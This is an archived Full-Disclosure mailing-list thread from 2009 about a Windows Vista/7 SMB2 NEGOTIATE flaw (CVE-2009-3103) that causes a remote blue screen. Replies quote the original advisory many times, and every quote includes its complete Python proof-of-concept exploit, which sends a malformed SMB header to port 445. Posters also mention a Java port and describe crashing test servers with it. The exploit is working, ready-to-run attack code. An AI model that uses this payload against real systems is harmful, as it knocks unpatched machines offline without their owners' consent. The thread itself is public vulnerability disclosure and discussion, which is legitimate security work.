Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
More explication on cve-2009-3103 http://g-laurent.blogspot.com/2009/10/more-explication-on-cve-2009-3103.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
It's fun :-) On Mon, September 14, 2009 12:14 pm, D-vice wrote: You wrote an exploit in java *head explodes* On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux ra...@procyonlabs.comwrote: After testing my version of the exploit (using Java instead of Python) I tried it against a Windows Server 2008 R2 installation - it went down. http://www.procyonlabs.com/software/smb2_bsoder Randy laurent gaffie wrote: Advisory updated : = - Release date: September 7th, 2009 - Discovered by: Laurent Gaffié - Severity: High = I. VULNERABILITY - Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0 for more details. III. DESCRIPTION - [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a char in the Process Id High SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 R2, Windows 7 RC. VII. SOLUTION - No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES - http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx IX. CREDITS - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com X. REVISION HISTORY - September 7th, 2009: Initial release September 11th, 2009: Revision 1.0 release XI. LEGAL NOTICES - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes - Many persons have suggested to update this advisory for RCE and not BSOD: It wont be done, if they find a way to execute code, they will publish them advisory. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
You wrote an exploit in java *head explodes* On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux ra...@procyonlabs.comwrote: After testing my version of the exploit (using Java instead of Python) I tried it against a Windows Server 2008 R2 installation - it went down. http://www.procyonlabs.com/software/smb2_bsoder Randy laurent gaffie wrote: Advisory updated : = - Release date: September 7th, 2009 - Discovered by: Laurent Gaffié - Severity: High = I. VULNERABILITY - Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0 for more details. III. DESCRIPTION - [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a char in the Process Id High SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 R2, Windows 7 RC. VII. SOLUTION - No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES - http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx IX. CREDITS - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com X. REVISION HISTORY - September 7th, 2009: Initial release September 11th, 2009: Revision 1.0 release XI. LEGAL NOTICES - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes - Many persons have suggested to update this advisory for RCE and not BSOD: It wont be done, if they find a way to execute code, they will publish them advisory. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
Oh WOW! More exploit code ported to Java!! Hello Randy, Not everyone would have gone to all the trouble you did for me and I want you to know how much I appreciate it. It seems that you are always going above and beyond the call of duty. No wonder so many people are happy and proud to call you an elite h4x0r. It was really wonderful of you to direct port Laurent's SMB2.0 BSOD python exploit code in to Java and call it your own, and I'll never be able to thank you enough. However, in doing so, an apology to Laurent AND the FD list for the dissemination of your Java port and post to FD mailing list is therefore required. There is simply no need for Java in any circumstances, and it is truly a shame to see such a wonderful exploit treated in such a horrendous way. Perhaps if you added, removed or improved the exploit, an apology would not have been required... but you didn't. Thanks for you time, /rd for dem geeks rdy to bounce 'em Ya my number two on some old school DJ Screw You can't arrest me, plus you can't sue This is a message to the laws, tell 'em We hate you I could be tough tell 'em that they shoulda known Tippin down, sittin crooked on my chrome Bookin my phone, findin a chick I wanna bone Like they couldn't stop me I'm bout to pull up at your home, and it's on ... It's fun :-) On Mon, September 14, 2009 12:14 pm, D-vice wrote: You wrote an exploit in java *head explodes* On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux randy_at_procyonlabs.comwrote: After testing my version of the exploit (using Java instead of Python) I tried it against a Windows Server 2008 R2 installation - it went down. http://www.procyonlabs.com/software/smb2_bsoder Randy laurent gaffie wrote: Advisory updated : = - Release date: September 7th, 2009 - Discovered by: Laurent Gaffi� - Severity: High = I. VULNERABILITY - Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S erver_Message_Block_2.0 for more details. III. DESCRIPTION - [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a char in the Process Id High SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 R2, Windows 7 RC. VII. SOLUTION - No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES - http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
Scratch that - the version of 2008 I had wasn't an official R2 release. So original reports still hold. It didn't crash my R2 build 7600. Laurent, et al, has this been tried against an Itanium machine? Just curious. Nobody at work will let me test the exploit against their Itanium servers. Randy On Mon, September 14, 2009 12:02 am, Randal T. Rioux wrote: After testing my version of the exploit (using Java instead of Python) I tried it against a Windows Server 2008 R2 installation - it went down. http://www.procyonlabs.com/software/smb2_bsoder Randy laurent gaffie wrote: Advisory updated : = - Release date: September 7th, 2009 - Discovered by: Laurent Gaffié - Severity: High = I. VULNERABILITY - Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0 for more details. III. DESCRIPTION - [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a char in the Process Id High SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 R2, Windows 7 RC. VII. SOLUTION - No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES - http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx IX. CREDITS - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com X. REVISION HISTORY - September 7th, 2009: Initial release September 11th, 2009: Revision 1.0 release XI. LEGAL NOTICES - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes - Many persons have suggested to update this advisory for RCE and not BSOD: It wont be done, if they find a way to execute code, they will publish them advisory. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
After testing my version of the exploit (using Java instead of Python) I tried it against a Windows Server 2008 R2 installation - it went down. http://www.procyonlabs.com/software/smb2_bsoder Randy laurent gaffie wrote: Advisory updated : = - Release date: September 7th, 2009 - Discovered by: Laurent Gaffié - Severity: High = I. VULNERABILITY - Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0 for more details. III. DESCRIPTION - [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a char in the Process Id High SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 R2, Windows 7 RC. VII. SOLUTION - No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES - http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx IX. CREDITS - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com X. REVISION HISTORY - September 7th, 2009: Initial release September 11th, 2009: Revision 1.0 release XI. LEGAL NOTICES - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes - Many persons have suggested to update this advisory for RCE and not BSOD: It wont be done, if they find a way to execute code, they will publish them advisory. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
Advisory updated : = - Release date: September 7th, 2009 - Discovered by: Laurent Gaffié - Severity: High = I. VULNERABILITY - Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0 for more details. III. DESCRIPTION - [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063) Installing only this specific update on Vista SP0 create the following issue: SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - Smb-Bsod.py: #!/usr/bin/python #When SMB2.0 recieve a char in the Process Id High SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - An attacker can remotly crash any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 R2, Windows 7 RC. VII. SOLUTION - No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly You can also follow the MS Workaround: http://www.microsoft.com/technet/security/advisory/975497.mspx VIII. REFERENCES - http://www.microsoft.com/technet/security/advisory/975497.mspx http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx IX. CREDITS - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com X. REVISION HISTORY - September 7th, 2009: Initial release September 11th, 2009: Revision 1.0 release XI. LEGAL NOTICES - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. XII.Personal Notes - Many persons have suggested to update this advisory for RCE and not BSOD: It wont be done, if they find a way to execute code, they will publish them advisory. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
I. VULNERABILITY - - Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. This does not appear to apply to the version of Windows 7 released to manufacture. It does, however, apply to all beta versions and Windows 2008. Mitch Oliver ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 How come all I hear about is n3td3v, and I see noone crying out lout about this : http://www.reversemode.com/index.php?option=com_mamblogItemid=15ta sk=showaction=viewid=64Itemid=15 is fd all 'bout trolls nao? - -- = - - Release date: September 7th, 2009 - - Discovered by: Laurent Gaffié - - Severity: Medium/High = I. VULNERABILITY - - Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S erver_Message_Block_2.0 for more details. III. DESCRIPTION - - SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - - Smb-Bsod.py: #!/usr/bin/python # When SMB2.0 recieve a char in the Process Id High SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # Negociate Protocol \x00\x18\x53\xc8 # Operation 0x18 sub 0xc853 \x00\x26# Process ID High: -- :) normal value should be \x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e \x30\x30\x32\x00 ) s = socket() s.connect(host) s.send(buff) s.close() V. BUSINESS IMPACT - - An attacker can remotly crash without no user interaction, any Vista/Windows 7 machine with SMB enable. Windows Xp, 2k, are NOT affected as they dont have this driver. VI. SYSTEMS AFFECTED - - Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008 as it use the same SMB2.0 driver (not tested). VII. SOLUTION - - Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided. VIII. REFERENCES - - http://microsoft.com IX. CREDITS - - This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com http://g-laurent.blogspot.com/ X. LEGAL NOTICES - - The information contained within this advisory is supplied as-is with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQMCAAYFAkqnw/YACgkQRVBSp0SbIgeyMQQAoyMwFvi4CWq+2XUcoyIQUp/MxwBr mUbXX+BJYl6K9ydQqZDxnAwOi24VIBE/xRQcUFMhVH/Uk4zH9KAGzW7/gu3V8Yq0mHPL pCZ9+Lwml3mNeJOg6oZEyJUhmJTF2WcfXLnmjHbys0oShACWCXBAyqyMVQFdNSja9aeC 6kWcu5Q= =MjSD -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
So Msoft! why can't they just stop reintroducing bugs? On Wed, Sep 9, 2009 at 11:04 AM, random...@hushmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 How come all I hear about is n3td3v, and I see noone crying out lout about this : http://www.reversemode.com/index.php?option=com_mamblogItemid=15ta sk=showaction=viewid=64Itemid=15http://www.reversemode.com/index.php?option=com_mamblogItemid=15ta%0Ask=showaction=viewid=64Itemid=15 is fd all 'bout trolls nao? - -- = - - Release date: September 7th, 2009 - - Discovered by: Laurent Gaffié - - Severity: Medium/High = I. VULNERABILITY - - Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. II. BACKGROUND - - Windows vista and newer Windows comes with a new SMB version named SMB2. See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S erver_Message_Block_2.0 for more details. III. DESCRIPTION - - SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication. IV. PROOF OF CONCEPT - - Smb-Bsod.py: #!/usr/bin/python # When SMB2.0 recieve a char in the Process Id High SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep host = IP_ADDR, 445 buff = ( \x00\x00\x00\x90 # Begin SMB header: Session message \xff\x53\x4d\x42 # Server Component: SMB \x72\x00\x00\x00 # 